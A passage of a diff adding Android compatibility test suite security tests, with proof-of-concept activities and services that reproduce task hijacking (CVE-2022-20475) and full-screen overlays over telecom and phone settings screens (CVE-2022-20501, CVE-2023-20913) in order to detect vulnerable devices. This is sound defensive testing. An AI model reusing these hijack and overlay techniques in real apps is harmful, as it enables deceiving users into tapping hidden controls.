+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int WAIT_MS = 5000;
+
+ @Test
+ public void testCVE_2022_20475() {
+ try {
+ // Registering a receiver here to wait for a broadcast from either HijackActivity or
+ // TargetActivity
+ Context context = getApplicationContext();
+ CompletableFuture<Boolean> hijackReturn = new CompletableFuture<>();
+ CompletableFuture<Boolean> targetReturn = new CompletableFuture<>();
+ final String bcastActionHijack = context.getString(R.string.bcastActionHijack);
+ final String bcastActionTarget = context.getString(R.string.bcastActionTarget);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(bcastActionHijack)) {
+ hijackReturn.complete(true);
+ } else if (intent.getAction().equals(bcastActionTarget)) {
+ targetReturn.complete(true);
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(bcastActionHijack);
+ filter.addAction(bcastActionTarget);
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start PocActivity which in turn starts both TargetActivity and HijackActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ // Waiting on callback from HijackActivity which is started last by PocActivity
+ hijackReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ final String pkgTarget = context.getString(R.string.pkgTarget);
+ targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+ targetIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
+ context.startActivity(targetIntent);
+
+ // Wait on callback from TargetActivity. On vulnerable device, TargetActivity would
+ // not start and HijackActivity would remain on screen so the test should fail due
+ // to timeout on callback.
+ try {
+ targetReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ throw new AssertionError(context.getString(R.string.msgFail));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
index ad87ea7..8ac03f6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
@@ -14,20 +14,20 @@
* limitations under the License.
*/
-package android.security.cts.CVE_2022_20007_attacker;
+package android.security.cts.CVE_2022_20475_test;
import android.app.Activity;
+import android.content.Intent;
import android.os.Bundle;
-import android.view.WindowManager;
-public class PocActivity extends Activity {
+public class HijackActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
- setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionHijack)));
+ } catch (Exception ignored) {
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
new file mode 100644
index 0000000..e1968a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ targetIntent.setClassName(getString(R.string.pkgTarget),
+ getString(R.string.activityTarget));
+ startActivity(targetIntent);
+
+ // Start HijackActivity. On vulnerable device, this will be parented by the task
+ // android.security.cts.CVE_2022_20475_target
+ startActivity(new Intent(this, HijackActivity.class));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
similarity index 94%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
index 09297b2..9498881 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20501",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml
new file mode 100644
index 0000000..5789b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20501">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application>
+ <service android:name=".PocService"
+ android:enabled="true" />
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20501" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml
new file mode 100644
index 0000000..2af8c0e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="overlayButtonText">CVE_2022_20501_OverlayButton</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/246933359 hence any app with
+ "SYSTEM_ALERT_WINDOW permission can overlay the %1$s screen</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="telUri">tel:6505551212</string>
+ <string name="telecomPkgDefault">com.android.server.telecom</string>
+ <string name="vulClsName">.settings.EnableAccountPreferenceActivity</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java
new file mode 100644
index 0000000..d6f5198
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20501;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext;
+
+ private void startOverlayService() {
+ Intent intent = new Intent(mContext, PocService.class);
+ assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ mContext.startService(intent);
+ }
+
+ private String getTelecomPkgName() {
+ PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = mContext.getString(R.string.telecomPkgDefault);
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ Intent intent = new Intent(Intent.ACTION_CALL);
+ intent.setData(Uri.parse(mContext.getString(R.string.telUri)));
+ ResolveInfo info = pm.resolveActivityAsUser(intent, PackageManager.MATCH_SYSTEM_ONLY,
+ UserHandle.USER_SYSTEM);
+ name = info.activityInfo.packageName;
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ try {
+ mContext = getApplicationContext();
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+ // Start the overlay service
+ startOverlayService();
+
+ // Wait for the overlay window
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ final long launchTimeoutMs = 20_000L;
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ // Start the vulnerable activity
+ String pkg = getTelecomPkgName();
+ String cls = mContext.getString(R.string.vulClsName);
+ Intent intent = new Intent();
+ String vulActivity = pkg + cls;
+ intent.setClassName(pkg, vulActivity);
+ PackageManager pm = mContext.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeNotNull(mContext.getString(R.string.activityNotFoundMsg, intent), ri);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ // Wait until overlay window is gone
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.text(overlayTextPattern)), launchTimeoutMs);
+
+ // Check if the currently running activity is the vulnerable activity
+ String activityDump = device.executeShellCommand(
+ mContext.getString(R.string.cmdDumpsysActivity, vulActivity));
+
+ Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.vulActivityNotRunningError, vulActivity),
+ activityPattern.matcher(activityDump).find());
+
+ // Failing the test as overlay window is being allowed making code vulnerable
+ assertTrue(mContext.getString(R.string.overlayErrorMessage, vulActivity),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java
new file mode 100644
index 0000000..8e1c5d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20501;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ layoutParams.width = displayMetrics.widthPixels;
+ layoutParams.height = displayMetrics.heightPixels;
+ layoutParams.x = displayMetrics.widthPixels / 2;
+ layoutParams.y = displayMetrics.heightPixels / 2;
+
+ // Show the floating window
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception ignored) {
+ // In case of occurrence of an exception overlay won't appear on display which results in
+ // assumption failure in device test. Hence ignoring this exception here.
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ } catch (Exception ignored) {
+ }
+ super.onDestroy();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
similarity index 92%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
index 09297b2..81ce65d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-20913",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -35,5 +35,4 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
new file mode 100644
index 0000000..5617874
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20913">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application>
+ <service android:name=".PocService" />
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20913" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
new file mode 100644
index 0000000..dc0aa2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="activityAccessibilitySettings">.settings.AccessibilitySettingsActivity</string>
+ <string name="activityPhoneAccountSettings">.settings.PhoneAccountSettingsActivity</string>
+ <string name="activityVoicemailSettings">.settings.VoicemailSettingsActivity</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="msgActivityNotFound">The activity with intent %1$s was not found</string>
+ <string name="msgAssumptionFailure">Following assumption failures occurred: </string>
+ <string name="msgCannotDrawOverlays">The application cannot draw overlays</string>
+ <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+ <string name="msgOverlayError">Device is vulnerable to b/246933785 hence any app with
+ "SYSTEM_ALERT_WINDOW permission" can overlay the following activities: </string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="pkgDefaultTelephony">com.android.phone</string>
+ <string name="textOverlayButton">b_246933785 OverlayButton</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
new file mode 100644
index 0000000..8e70f31
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.PowerManager;
+import android.os.UserHandle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext = null;
+ private List<String> mViolations;
+ private List<String> mVulnerabilities;
+ PackageManager mPackageManager = null;
+
+ private String getTelephonyPackageName() {
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = mContext.getString(R.string.pkgDefaultTelephony);
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ Intent intent = new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS);
+ ResolveInfo info =
+ mPackageManager.resolveActivityAsUser(
+ intent, PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ name = info.activityInfo.packageName;
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ public void testActivity(String cls) throws Exception {
+ UiDevice device = null;
+ try {
+ mPackageManager = mContext.getPackageManager();
+ device = UiDevice.getInstance(getInstrumentation());
+
+ // Start the overlay service
+ Intent serviceIntent = new Intent(mContext, PocService.class);
+ assumeTrue(
+ mContext.getString(R.string.msgCannotDrawOverlays),
+ Settings.canDrawOverlays(mContext));
+ mContext.startService(serviceIntent);
+
+ // Wait for the overlay window
+ Pattern overlayTextPattern =
+ Pattern.compile(
+ mContext.getString(R.string.textOverlayButton),
+ Pattern.CASE_INSENSITIVE);
+ final long launchTimeoutMs = 20_000L;
+
+ if (!device.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)) {
+ mViolations.add(cls + mContext.getString(R.string.overlayUiScreenError));
+ return;
+ }
+
+ // Start the vulnerable activity
+ String pkg = getTelephonyPackageName();
+ Intent intent = new Intent();
+ String vulActivity = pkg + cls;
+ intent.setClassName(pkg, vulActivity);
+ ResolveInfo ri =
+ mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ if (ri == null) {
+ mViolations.add(cls + mContext.getString(R.string.msgActivityNotFound, intent));
+ return;
+ }
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait until overlay window is gone
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.text(overlayTextPattern)), launchTimeoutMs);
+
+ // Check if the currently running activity is the vulnerable activity
+ String activityDump =
+ device.executeShellCommand(
+ mContext.getString(R.string.dumpsysActivityCmd, vulActivity));
+ Pattern activityPattern =
+ Pattern.compile(
+ mContext.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ if (!(activityPattern.matcher(activityDump).find())) {
+ mViolations.add(
+ cls + mContext.getString(R.string.vulActivityNotRunningError, vulActivity));
+ return;
+ }
+
+ // If overlayDisallowed is not true then add the class name to mVulnerabilities
+ if (!overlayDisallowed) {
+ mVulnerabilities.add(cls);
+ }
+ } catch (Exception e) {
+ mViolations.add(e.getMessage());
+ } finally {
+ try {
+ // To exit current activity so that new activity starts
+ device.pressHome();
+ } catch (Exception e) {
+ // Ignoring exceptions here since any exception caught here is unrelated to test
+ }
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ try {
+ mContext = getInstrumentation().getTargetContext();
+ KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
+ PowerManager powerManager = mContext.getSystemService(PowerManager.class);
+ assumeTrue(
+ mContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+ mViolations = new ArrayList<String>();
+ mVulnerabilities = new ArrayList<String>();
+ testActivity(mContext.getString(R.string.activityAccessibilitySettings));
+ testActivity(mContext.getString(R.string.activityPhoneAccountSettings));
+ testActivity(mContext.getString(R.string.activityVoicemailSettings));
+ if (mVulnerabilities.isEmpty()) {
+ assumeTrue(
+ mContext.getString(R.string.msgAssumptionFailure) + mViolations,
+ mViolations.isEmpty());
+ } else {
+ fail(mContext.getString(R.string.msgOverlayError) + mVulnerabilities);
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
new file mode 100644
index 0000000..a04d31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ layoutParams.width = displayMetrics.widthPixels;
+ layoutParams.height = displayMetrics.heightPixels;
+ layoutParams.x = displayMetrics.widthPixels / 2;
+ layoutParams.y = displayMetrics.heightPixels / 2;
+
+ // Setting the orientation of overlay window as portrait
+ layoutParams.screenOrientation = SCREEN_ORIENTATION_PORTRAIT;
+
+ // Show the floating window
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.textOverlayButton));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception ignored) {
+ // In case of occurrence of an exception overlay won't appear on display which results
+ // in assumption failure in device test. Hence ignoring this exception here.
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ super.onDestroy();
+ } catch (Exception ignored) {
+ // Ignoring unintended exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20917/Android.bp
index 50acd29..a802152 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
